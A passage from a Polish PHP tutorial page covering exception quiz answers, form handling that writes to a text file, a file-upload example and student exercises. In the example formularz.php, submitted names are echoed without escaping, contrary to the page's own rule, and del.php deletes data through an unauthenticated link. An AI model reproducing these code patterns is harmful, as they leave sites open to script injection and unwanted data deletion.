<p class="wp-block-paragraph"><strong>6.</strong> Uzupełnij i odpowiedz: w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> wypisujemy użytkownikowi <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo $wyjatek-&gt;________;</code>. Których metod wyjątku <strong>nie</strong> pokazujemy na stronie i dlaczego?</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">ACD</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> przerywa funkcję, reszta bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> (czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "B"</code>) jest pomijana, PHP skacze do <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, a po nim program działa dalej.</li>



<li>Brak słowa <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code>. Samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception(...)</code> tworzy obiekt i go porzuca — program leci dalej i dodaje ujemną nagrodę. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception("...");</code>.</li>



<li>a) wyjątek, b) zwykła wartość — pusty plik to normalny stan („Brak zadań.”), c) wyjątek — dane uszkodzone, d) zwykła wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> — zły login to nie awaria.</li>



<li>Wyjątek przerwałby pętlę i przeskoczył do <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code> za pętlą nigdy by się nie wykonało — plik zostałby otwarty. <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> wykonuje się zawsze, także po wyjątku.</li>



<li>Nie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code> należy do rodziny <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception ...)</code> go nie złapie. To zwykle błąd w kodzie, który poprawiamy, a nie łapiemy.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code>. Nie pokazujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code> ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code> — ujawniają ścieżki na serwerze i strukturę kodu.</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<div data-wp-interactive="core/file" class="wp-block-file"><object data-wp-bind--hidden="!state.hasPdfPreview" hidden class="wp-block-file__embed" data="https://kamakaczmarek.net/wp-content/uploads/JAK-DZIALAJA-FORMULARZE.pdf" type="application/pdf" style="width:100%;height:660px" aria-label="Osadzone z JAK DZIAŁAJĄ FORMULARZE."></object><a id="wp-block-file--media-bdefae1e-e2f4-40e0-8547-b6cafa6fe046" href="https://kamakaczmarek.net/wp-content/uploads/JAK-DZIALAJA-FORMULARZE.pdf">JAK DZIAŁAJĄ FORMULARZE</a><a href="https://kamakaczmarek.net/wp-content/uploads/JAK-DZIALAJA-FORMULARZE.pdf" class="wp-block-file__button wp-element-button" download aria-describedby="wp-block-file--media-bdefae1e-e2f4-40e0-8547-b6cafa6fe046">Pobierz</a></div>



<h2 class="wp-block-heading">Przykład z formularzem</h2>



<p class="wp-block-paragraph">Poniżej znajduje się przykład przedstawiający zapis danych do pliku z formularza. Formularz przesyła dane metodą POST.</p>



<p>Dane zapisywane do pliku są zbierane w zmiennej $info.</p>



<p class="wp-block-paragraph">Plik <em>formularz.php</em></p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Debugowanie - wyświetl dane POST
/*
echo "&lt;pre&gt;";
print_r($_POST);
echo "&lt;/pre&gt;";
*/

$info = '';
$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST&#91;'przycisk'])) {
    // Walidacja
    if (empty($_POST&#91;'imie'])) {
        $errors&#91;] = "Imię jest wymagane";
    }
    
    if (empty($_POST&#91;'nazwisko'])) {
        $errors&#91;] = "Nazwisko jest wymagane";
    }
    
    // Jeśli są błędy, wyświetl
    if (!empty($errors)) {
        echo "&lt;div style='color: red; border: 1px solid red; padding: 10px;'&gt;";
        echo "&lt;strong&gt;Błędy:&lt;/strong&gt;&lt;ul&gt;";
        foreach ($errors as $error) {
            echo "&lt;li&gt;$error&lt;/li&gt;";
        }
        echo "&lt;/ul&gt;&lt;/div&gt;";
    } else {
        // Pobierz dane
        $imie = trim($_POST&#91;'imie']);
        $nazwisko = trim($_POST&#91;'nazwisko']);
        
        echo "&lt;p&gt;Witaj $nazwisko $imie na mojej stronie.&lt;/p&gt;";
        
        // Zbierz informacje
        $info = "&lt;div style='border: 1px solid #ccc; padding: 15px; margin: 10px 0;'&gt;";
        $info .= "&lt;h3&gt;Przekazane dane:&lt;/h3&gt;";
        
        // Wiadomość
        if (!empty($_POST&#91;'wiadomosc'])) {
            $wiadomosc = htmlspecialchars($_POST&#91;'wiadomosc'], ENT_QUOTES, 'UTF-8');
            $info .= "&lt;p&gt;&lt;strong&gt;Wiadomość:&lt;/strong&gt;&lt;br&gt;" . nl2br($wiadomosc) . "&lt;/p&gt;";
        }
        
        // Płeć
        if (!empty($_POST&#91;'plec'])) {
            $plec_map = &#91;'k' =&gt; 'Kobieta', 'm' =&gt; 'Mężczyzna', 'i' =&gt; 'Inne'];
            $plec = $plec_map&#91;$_POST&#91;'plec']] ?? 'Nieznana';
            $info .= "&lt;p&gt;&lt;strong&gt;Płeć:&lt;/strong&gt; $plec&lt;/p&gt;";
        }
        
        // Gry (checkboxy pojedyncze)
        $gry = &#91;];
        if (!empty($_POST&#91;'gra1'])) $gry&#91;] = $_POST&#91;'gra1'];
        if (!empty($_POST&#91;'gra2'])) $gry&#91;] = $_POST&#91;'gra2'];
        if (!empty($_POST&#91;'gra3'])) $gry&#91;] = $_POST&#91;'gra3'];
        
        if (!empty($gry)) {
            $info .= "&lt;p&gt;&lt;strong&gt;Ulubione gry:&lt;/strong&gt; " . 
                     implode(', ', array_map('htmlspecialchars', $gry)) . "&lt;/p&gt;";
        }
        
        // Jedzenie (checkboxy jako tablica)
        if (!empty($_POST&#91;'food']) &amp;&amp; is_array($_POST&#91;'food'])) {
            $food = array_map('htmlspecialchars', $_POST&#91;'food']);
            $info .= "&lt;p&gt;&lt;strong&gt;Ulubione jedzenie:&lt;/strong&gt; " . 
                     implode(', ', $food) . "&lt;/p&gt;";
        }
        
        // Klasa (select)
        if (!empty($_POST&#91;'klasa'])) {
            $klasa = htmlspecialchars($_POST&#91;'klasa']);
            $info .= "&lt;p&gt;&lt;strong&gt;Klasa:&lt;/strong&gt; $klasa&lt;/p&gt;";
        }
        
        // Hobby (select multiple)
        if (!empty($_POST&#91;'hobby']) &amp;&amp; is_array($_POST&#91;'hobby'])) {
            $hobby = array_map('htmlspecialchars', $_POST&#91;'hobby']);
            $info .= "&lt;p&gt;&lt;strong&gt;Hobby:&lt;/strong&gt; " . 
                     implode(', ', $hobby) . "&lt;/p&gt;";
        }
        
        $info .= "&lt;p&gt;&lt;em&gt;Data zapisu: " . date('Y-m-d H:i:s') . "&lt;/em&gt;&lt;/p&gt;";
        $info .= "&lt;/div&gt;";
        
        echo $info;
        
        // Zapis do pliku
        $file = "dane.txt";
        $f = fopen($file, 'a');
        
        if ($f !== false) {
            flock($f, LOCK_EX);
            //do pliku zapisujemy surowe dane
            fwrite($f, htmlspecialchars_decode(strip_tags($info)) . "\n" . str_repeat('-', 80) . "\n");
            /*
            Kolejność ma znaczenie: najpierw `strip_tags` (usuwa znaczniki dopisane przez nasz kod, a dane   użytkownika są jeszcze zakodowane, więc `&lt;b&gt;` wpisane przez niego zostaje), potem `htmlspecialchars_decode` (przywraca jego tekst w pierwotnej postaci). W odwrotnej kolejności `strip_tags` wycięłoby także tekst użytkownika.

`htmlspecialchars_decode()` jest odwrotnością `htmlspecialchars()`. Do pliku zapisujemy dane w pierwotnej postaci, a kodujemy je dopiero przy wyświetlaniu.
            */
            fflush($f);
            flock($f, LOCK_UN);
            fclose($f);
            
            echo "&lt;p style='color: green;'&gt;Dane zapisane do pliku!&lt;/p&gt;";
        } else {
            echo "&lt;p style='color: red;'&gt;Błąd zapisu do pliku&lt;/p&gt;";
        }
    }
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;Formularz&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f5f5f5;
            padding: 20px;
            border-radius: 5px;
        }
        label {
            display: block;
            margin-top: 10px;
            font-weight: bold;
        }
        input&#91;type="text"],
        textarea,
        select {
            width: 100%;
            padding: 8px;
            margin-top: 5px;
            box-sizing: border-box;
        }
        button {
            margin-top: 20px;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            cursor: pointer;
            font-size: 16px;
        }
        button:hover {
            background: #0056b3;
        }
        .checkbox-group,
        .radio-group {
            margin: 10px 0;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Formularz rejestracyjny&lt;/h1&gt;
    
    &lt;form method="POST"&gt;
        &lt;label for="nazwisko"&gt;Nazwisko: *&lt;/label&gt;
        &lt;input type="text" id="nazwisko" name="nazwisko" required&gt;
        
        &lt;label for="imie"&gt;Imię: *&lt;/label&gt;
        &lt;input type="text" id="imie" name="imie" required&gt;
        
        &lt;label for="wiadomosc"&gt;Wiadomość:&lt;/label&gt;
        &lt;textarea id="wiadomosc" name="wiadomosc" rows="5"&gt;&lt;/textarea&gt;
        
        &lt;div class="radio-group"&gt;
            &lt;label&gt;Płeć:&lt;/label&gt;
            &lt;input type="radio" name="plec" value="k" id="plec_k"&gt;
            &lt;label for="plec_k" style="display: inline; font-weight: normal;"&gt;Kobieta&lt;/label&gt;
            
            &lt;input type="radio" name="plec" value="m" id="plec_m"&gt;
            &lt;label for="plec_m" style="display: inline; font-weight: normal;"&gt;Mężczyzna&lt;/label&gt;
            
            &lt;input type="radio" name="plec" value="i" id="plec_i"&gt;
            &lt;label for="plec_i" style="display: inline; font-weight: normal;"&gt;Inne&lt;/label&gt;
        &lt;/div&gt;
        
        &lt;div class="checkbox-group"&gt;
            &lt;label&gt;Ulubione gry:&lt;/label&gt;
            &lt;input type="checkbox" name="gra1" value="CS" id="gra1"&gt;
            &lt;label for="gra1" style="display: inline; font-weight: normal;"&gt;CS&lt;/label&gt;
            
            &lt;input type="checkbox" name="gra2" value="LOL" id="gra2"&gt;
            &lt;label for="gra2" style="display: inline; font-weight: normal;"&gt;LOL&lt;/label&gt;
            
            &lt;input type="checkbox" name="gra3" value="WOW" id="gra3"&gt;
            &lt;label for="gra3" style="display: inline; font-weight: normal;"&gt;WOW&lt;/label&gt;
        &lt;/div&gt;
        
        &lt;div class="checkbox-group"&gt;
            &lt;label&gt;Ulubione jedzenie:&lt;/label&gt;
            &lt;input type="checkbox" name="food&#91;]" value="pizza" id="food1"&gt;
            &lt;label for="food1" style="display: inline; font-weight: normal;"&gt;Pizza&lt;/label&gt;
            
            &lt;input type="checkbox" name="food&#91;]" value="bigos" id="food2"&gt;
            &lt;label for="food2" style="display: inline; font-weight: normal;"&gt;Bigos&lt;/label&gt;
            
            &lt;input type="checkbox" name="food&#91;]" value="jajecznica" id="food3"&gt;
            &lt;label for="food3" style="display: inline; font-weight: normal;"&gt;Jajecznica&lt;/label&gt;
            
            &lt;input type="checkbox" name="food&#91;]" value="lody" id="food4"&gt;
            &lt;label for="food4" style="display: inline; font-weight: normal;"&gt;Lody&lt;/label&gt;
        &lt;/div&gt;
        
        &lt;label for="klasa"&gt;Klasa:&lt;/label&gt;
        &lt;select name="klasa" id="klasa"&gt;
            &lt;option value=""&gt;-- Wybierz --&lt;/option&gt;
            &lt;option value="1"&gt;1&lt;/option&gt;
            &lt;option value="2"&gt;2&lt;/option&gt;
            &lt;option value="3"&gt;3&lt;/option&gt;
            &lt;option value="4"&gt;4&lt;/option&gt;
        &lt;/select&gt;
        
        &lt;label for="hobby"&gt;Hobby (przytrzymaj Ctrl aby wybrać wiele):&lt;/label&gt;
        &lt;select name="hobby&#91;]" id="hobby" multiple size="4"&gt;
            &lt;option value="IT"&gt;IT&lt;/option&gt;
            &lt;option value="PHP"&gt;PHP&lt;/option&gt;
            &lt;option value="sport"&gt;Sport&lt;/option&gt;
            &lt;option value="ryby"&gt;Wędkarstwo&lt;/option&gt;
        &lt;/select&gt;
        
        &lt;button type="submit" name="przycisk"&gt;Wyślij&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;p style="margin-top: 20px;"&gt;
        &lt;a href="podglad.php" target="_blank"&gt;<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c4.png" alt="📄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Podgląd zapisanych danych&lt;/a&gt;
    &lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">Plik <em>podglad.php</em></p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$file = 'dane.txt';

if (!file_exists($file) || filesize($file) == 0) {
    echo "Brak zapisanych danych.";
    echo "&lt;br&gt;&lt;br&gt;&lt;a href='formularz.php'&gt;Dodaj dane&lt;/a&gt;";
    exit;
}

$zawartosc = file_get_contents($file);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Podgląd danych&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 900px;
            margin: 50px auto;
            padding: 20px;
        }
        .content {
            background: #f9f9f9;
            padding: 20px;
            border: 1px solid #ddd;
            white-space: pre-wrap;
        }
        .buttons {
            margin-top: 20px;
        }
        a {
            display: inline-block;
            padding: 10px 20px;
            margin-right: 10px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 5px;
        }
        a:hover {
            background: #0056b3;
        }
        .delete {
            background: #dc3545;
        }
        .delete:hover {
            background: #c82333;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c4.png" alt="📄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Zapisane dane&lt;/h1&gt;
    
    &lt;div class="content"&gt;
        &lt;?= nl2br(htmlspecialchars($zawartosc)) ?&gt;
    &lt;/div&gt;
    
    &lt;div class="buttons"&gt;
        &lt;a href="formularz.php"&gt;Dodaj kolejne dane&lt;/a&gt;
        &lt;a href="del.php" class="delete" 
           onclick="return confirm('Czy na pewno usunąć wszystkie dane?')"&gt;
            Usuń plik
        &lt;/a&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">Plik <em>del.php</em></p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$file = 'dane.txt';

if (file_exists($file)) {
    if (unlink($file)) {
        $message = "Plik został usunięty";
        $status = "success";
    } else {
        $message = "Błąd podczas usuwania pliku";
        $status = "error";
    }
} else {
    $message = "Plik nie istnieje";
    $status = "warning";
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Usuwanie pliku&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
            text-align: center;
        }
        .message {
            padding: 20px;
            margin: 20px 0;
            border-radius: 5px;
            font-size: 18px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        a {
            display: inline-block;
            margin-top: 20px;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 5px;
        }
        a:hover {
            background: #0056b3;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class="message &lt;?= $status ?&gt;"&gt;
        &lt;?= $message ?&gt;
    &lt;/div&gt;
    
    &lt;a href="formularz.php"&gt;Powrót do formularza&lt;/a&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">Przykład &#8211; upload plików</h2>



<h4 class="wp-block-heading">Formularz uploadu</h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;!-- WAŻNE: enctype="multipart/form-data" --&gt;
&lt;form method="POST" enctype="multipart/form-data"&gt;
    &lt;label&gt;Wybierz plik:&lt;/label&gt;
    &lt;input type="file" name="plik" accept="image/*,application/pdf"&gt;
    
    &lt;button type="submit" name="upload"&gt;Prześlij&lt;/button&gt;
&lt;/form&gt;</code></pre>



<h4 class="wp-block-heading">Obsługa uploadu</h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
if (isset($_POST&#91;'upload']) &amp;&amp; isset($_FILES&#91;'plik'])) {
    $file = $_FILES&#91;'plik'];
    
    // Sprawdź błędy
    if ($file&#91;'error'] !== UPLOAD_ERR_OK) {
        echo "Błąd uploadu: " . $file&#91;'error'];
        exit;
    }
    
    // Sprawdź rozmiar (5MB max)
    $maxSize = 5 * 1024 * 1024;
    if ($file&#91;'size'] &gt; $maxSize) {
        echo "Plik za duży (max 5MB)";
        exit;
    }
    
    // Sprawdź rozszerzenie
    $allowedExt = &#91;'jpg', 'jpeg', 'png', 'gif', 'pdf'];
    $ext = strtolower(pathinfo($file&#91;'name'], PATHINFO_EXTENSION));
    
    if (!in_array($ext, $allowedExt)) {
        echo "Niedozwolone rozszerzenie: $ext";
        exit;
    }
    
    // Utwórz katalog jeśli nie istnieje
    $uploadDir = 'uploads/';
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }
    
    // Generuj unikalną nazwę
    $newName = uniqid() . '.' . $ext;
    $destination = $uploadDir . $newName;
    
    // Przenieś plik
    if (move_uploaded_file($file&#91;'tmp_name'], $destination)) {
        echo "Plik przesłany: $destination";
    } else {
        echo "Błąd przenoszenia pliku";
    }
}
?&gt;</code></pre>



<h2 class="wp-block-heading">Zadania:</h2>



<p><span style="text-decoration: underline;"><strong>W każdym zadaniu należy sprawdzić, czy dane istnieją. Używaj metody bezpiecznej, chyba że rodzaj zadania wymaga innego podejścia.</strong></span></p>
<p><strong>Zadanie 1:</strong> Stwórz formularz, który na podstawie podanych przez użytkownika ilości kolumn i wierszy, narysuje tabelę w HTMLu. Wypełnij pola tabeli losowymi kolorami.</p>
<p><strong>Zadanie 2:</strong> Stwórz formularz, który po kliknięciu przycisku będzie losował liczby totolotka (zakres 1-49), umożliw podanie użytkownikowi ilości zestawów do wygenerowania. (np. wpisuje 3 &#8211; więc 3 razy generuje się zestaw itd.).</p>
<p><strong>Zadanie 3:</strong> Stwórz formularz, który będzie zawierał listę rzeczy do kupienia. W tabeli wyświetl produkt, ilość i cenę. Produkt ma zawierać checkboxa oraz nazwę; ilość i cena mogą być edytowane (po pierwszym uruchomieniu wypełnione dowolnymi wartościami &#8211; ty decydujesz). Zadeklaruj przynajmniej 6 produktów do wyboru. Po wybraniu produktów (zaznaczeniu checkboxów) i wysłaniu formularza wyświetli się paragon, tak jak w sklepie (poszukaj jakiegoś w plecaku i wykorzystaj za wzór).</p>
<p><strong>Zadanie 4: </strong>Stwórz grę &#8222;papier, kamień, nożyce&#8221;. Informację o wyniku przechowuj w zmiennej sesyjnej. Jeżeli nie znasz jeszcze sesji to możesz wynik danego gracza przekazywać w polu ukrytym</p>
<p>np. &lt;input type=&#8221;hidden&#8221; name=&#8221;licznik_player&#8221; value=&#8221;&lt;?=$licznik_player?&gt;&#8221;&gt;</p>
<p><strong>Zadanie 5: </strong>Stwórz rozbudowany formularz danych użytkownika w PHP, który umożliwia:</p>
<ol data-start="440" data-end="676">
<li data-start="440" data-end="533">zapisanie wprowadzonych danych do <strong data-start="571" data-end="591">pliku tekstowego</strong>,</li>
<li data-start="595" data-end="676">
<p data-start="598" data-end="676">odczytanie zapisanych danych i ich <strong data-start="633" data-end="673">czytelne wyświetlenie w przeglądarce</strong>.</p>
</li>
</ol>
<p data-start="1101" data-end="1135">Formularz powinien zawierać m.in.:</p>
<h4 data-start="1137" data-end="1157">Dane osobowe</h4>
<ul data-start="1158" data-end="1457">
<li data-start="1158" data-end="1193">
<p data-start="1160" data-end="1193">Imię i nazwisko (pole tekstowe)</p>
</li>
<li data-start="1194" data-end="1230">
<p data-start="1196" data-end="1230">Adres e-mail (pole typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">email</code>)</p>
</li>
<li data-start="1231" data-end="1263">
<p data-start="1233" data-end="1263">Hasło (pole typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">password</code>)</p>
</li>
<li data-start="1264" data-end="1300">
<p data-start="1266" data-end="1300">Numer telefonu (pole typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">tel</code>)</p>
</li>
<li data-start="1301" data-end="1338">
<p data-start="1303" data-end="1338">Data urodzenia (pole typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">date</code>)</p>
</li>
<li data-start="1339" data-end="1368">
<p data-start="1341" data-end="1368">Wiek (pole typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">number</code>)</p>
</li>
<li data-start="1369" data-end="1420">
<p data-start="1371" data-end="1420">Płeć (radio button: mężczyzna / kobieta / inne)</p>
</li>
<li data-start="1421" data-end="1457">
<p data-start="1423" data-end="1457">Zdjęcie profilowe (upload pliku) &#8211; opcjonalne</p>
</li>
</ul>
<h4 data-start="1459" data-end="1480">Dane adresowe</h4>
<ul data-start="1481" data-end="1646">
<li data-start="1481" data-end="1503">
<p data-start="1483" data-end="1503">Ulica i numer domu</p>
</li>
<li data-start="1504" data-end="1520">
<p data-start="1506" data-end="1520">Kod pocztowy</p>
</li>
<li data-start="1521" data-end="1531">
<p data-start="1523" data-end="1531">Miasto</p>
</li>
<li data-start="1532" data-end="1574">
<p data-start="1534" data-end="1574">Województwo (lista rozwijana <code class="prettyprint lang-sql" style="font-size: 0.85em;">select</code>)</p>
</li>
<li data-start="1575" data-end="1610">
<p data-start="1577" data-end="1610">Kraj (lista rozwijana <code class="prettyprint lang-sql" style="font-size: 0.85em;">select</code>)</p>
</li>
<li data-start="1611" data-end="1646">
<p data-start="1613" data-end="1646">Współrzędne GPS (pole tekstowe)</p>
</li>
</ul>
<h4 data-start="1648" data-end="1669">Dane zawodowe</h4>
<ul data-start="1670" data-end="1853">
<li data-start="1670" data-end="1684">
<p data-start="1672" data-end="1684">Stanowisko</p>
</li>
<li data-start="1685" data-end="1700">
<p data-start="1687" data-end="1700">Nazwa firmy</p>
</li>
<li data-start="1701" data-end="1740">
<p data-start="1703" data-end="1740">Doświadczenie zawodowe (liczba lat)</p>
</li>
<li data-start="1741" data-end="1815">
<p data-start="1743" data-end="1815">Branża (lista rozwijana z możliwością wyboru kilku opcji – <code class="prettyprint lang-sql" style="font-size: 0.85em;">multiple</code>)</p>
</li>
<li data-start="1816" data-end="1853">
<p data-start="1818" data-end="1853">Przedział wynagrodzenia (<code class="prettyprint lang-sql" style="font-size: 0.85em;">range</code>)</p>
</li>
</ul>
<h4 data-start="1855" data-end="1892">Preferencje i zainteresowania</h4>
<ul data-start="1893" data-end="2246">
<li data-start="1893" data-end="1922">
<p data-start="1895" data-end="1922">Ulubione kolory (<code class="prettyprint lang-sql" style="font-size: 0.85em;">color</code>)</p>
</li>
<li data-start="1923" data-end="1961">
<p data-start="1925" data-end="1961">Ulubione dni tygodnia (<code class="prettyprint lang-sql" style="font-size: 0.85em;">checkbox</code>)</p>
</li>
<li data-start="1962" data-end="1991">
<p data-start="1964" data-end="1991">Ulubiona godzina (<code class="prettyprint lang-sql" style="font-size: 0.85em;">time</code>)</p>
</li>
<li data-start="1992" data-end="2022">
<p data-start="1994" data-end="2022">Ulubiony miesiąc (<code class="prettyprint lang-sql" style="font-size: 0.85em;">month</code>)</p>
</li>
<li data-start="2060" data-end="2097">
<p data-start="2062" data-end="2097">Adres strony internetowej (<code class="prettyprint lang-sql" style="font-size: 0.85em;">url</code>)</p>
</li>
<li data-start="2098" data-end="2140">
<p data-start="2100" data-end="2140">Krótki opis zainteresowań (<code class="prettyprint lang-sql" style="font-size: 0.85em;">textarea</code>)</p>
</li>
<li data-start="2141" data-end="2169">
<p data-start="2143" data-end="2169">Upload pliku CV (<code class="prettyprint lang-sql" style="font-size: 0.85em;">file</code>) &#8211; opcjonalnie</p>
</li>
<li data-start="2170" data-end="2206">
<p data-start="2172" data-end="2206">Zgoda na newsletter (<code class="prettyprint lang-sql" style="font-size: 0.85em;">checkbox</code>)</p>
</li>
<li data-start="2207" data-end="2246">
<p data-start="2209" data-end="2246">Ocena poziomu satysfakcji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">range</code>)</p>
</li>
</ul>
<h4 data-start="2248" data-end="2269">Inne elementy</h4>
<ul data-start="2270" data-end="2409">
<li data-start="2270" data-end="2327">
<p data-start="2272" data-end="2327">Pole ukryte (<code class="prettyprint lang-sql" style="font-size: 0.85em;">hidden</code>) – np. data wysłania formularza</p>
</li>
<li data-start="2328" data-end="2375">
<p data-start="2330" data-end="2375">Przycisk wyczyszczenia formularza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">reset</code>)</p>
</li>
<li data-start="2376" data-end="2409">
<p data-start="2378" data-end="2409">Przycisk wysyłania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">submit</code>)</p>
</li>
</ul>
<hr data-start="2411" data-end="2414" />
<p data-start="2416" data-end="2445"><strong>Zapis danych do pliku</strong></p>
<p data-start="2446" data-end="2652">Po przesłaniu formularza dane użytkownika powinny zostać zapisane do pliku tekstowego (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">dane.txt</code>).<br data-start="2549" data-end="2552" />Każdy wiersz w pliku powinien zawierać dane jednego użytkownika, rozdzielone średnikami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">;</code>) — np.:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Jan Kowalski;jan.kowalski@example.com;<span class="hljs-number">35</span>;mężczyzna;Warszawa;Programista;IT;<span class="hljs-comment">#3498db;Tak;2025-10-27</span>
</code></div>
</div>
<p data-start="2761" data-end="2812">Do zapisu możesz wykorzystać funkcje PHP takie jak:</p>
<ul data-start="2813" data-end="2860">
<li data-start="2813" data-end="2827">
<p data-start="2815" data-end="2827"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code>,</p>
</li>
<li data-start="2828" data-end="2844">
<p data-start="2830" data-end="2844"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code> &#8211; poczytaj o tej funkcji w dokumentacji technicznej</p>
</li>
<li data-start="2845" data-end="2860">
<p data-start="2847" data-end="2860"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>.</p>
</li>
</ul>
<hr data-start="2862" data-end="2865" />
<p data-start="2867" data-end="2901"><strong>Odczyt danych (<code class="prettyprint lang-sql" style="font-size: 0.85em;">dane.php</code>)</strong></p>
<p data-start="2902" data-end="3046">Dane powinny wyświetlać się w formie tabeli HTML. Tabela powinna:</p>
<ul data-start="3064" data-end="3219">
<li data-start="3064" data-end="3089">
<p data-start="3066" data-end="3089">mieć nagłówki kolumn,</p>
</li>
<li data-start="3090" data-end="3143">
<p data-start="3092" data-end="3143">prezentować wszystkie zapisane dane użytkowników,</p>
</li>
<li data-start="3144" data-end="3219">
<p data-start="3146" data-end="3219">wyświetlać komunikat <em data-start="3167" data-end="3193">„Brak zapisanych danych”</em>, jeśli plik jest pusty.</p>
</li>
</ul>
<hr data-start="3221" data-end="3224" />
<p data-start="3226" data-end="3255"><strong>Wymagania techniczne</strong></p>
<ul data-start="3256" data-end="3643">
<li data-start="3256" data-end="3344">
<p data-start="3258" data-end="3344">Walidacja pól formularza po stronie HTML5 (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">pattern</code>).</p>
</li>
<li data-start="3345" data-end="3444">
<p data-start="3347" data-end="3444">Dane od użytkownika wypisywane na stronie (komunikat, wartości w polach po błędzie) są kodowane funkcją htmlspecialchars() w miejscu wypisania, a do pliku zapisujemy dane bez kodowania.</p>
</li>
<li data-start="3445" data-end="3540">
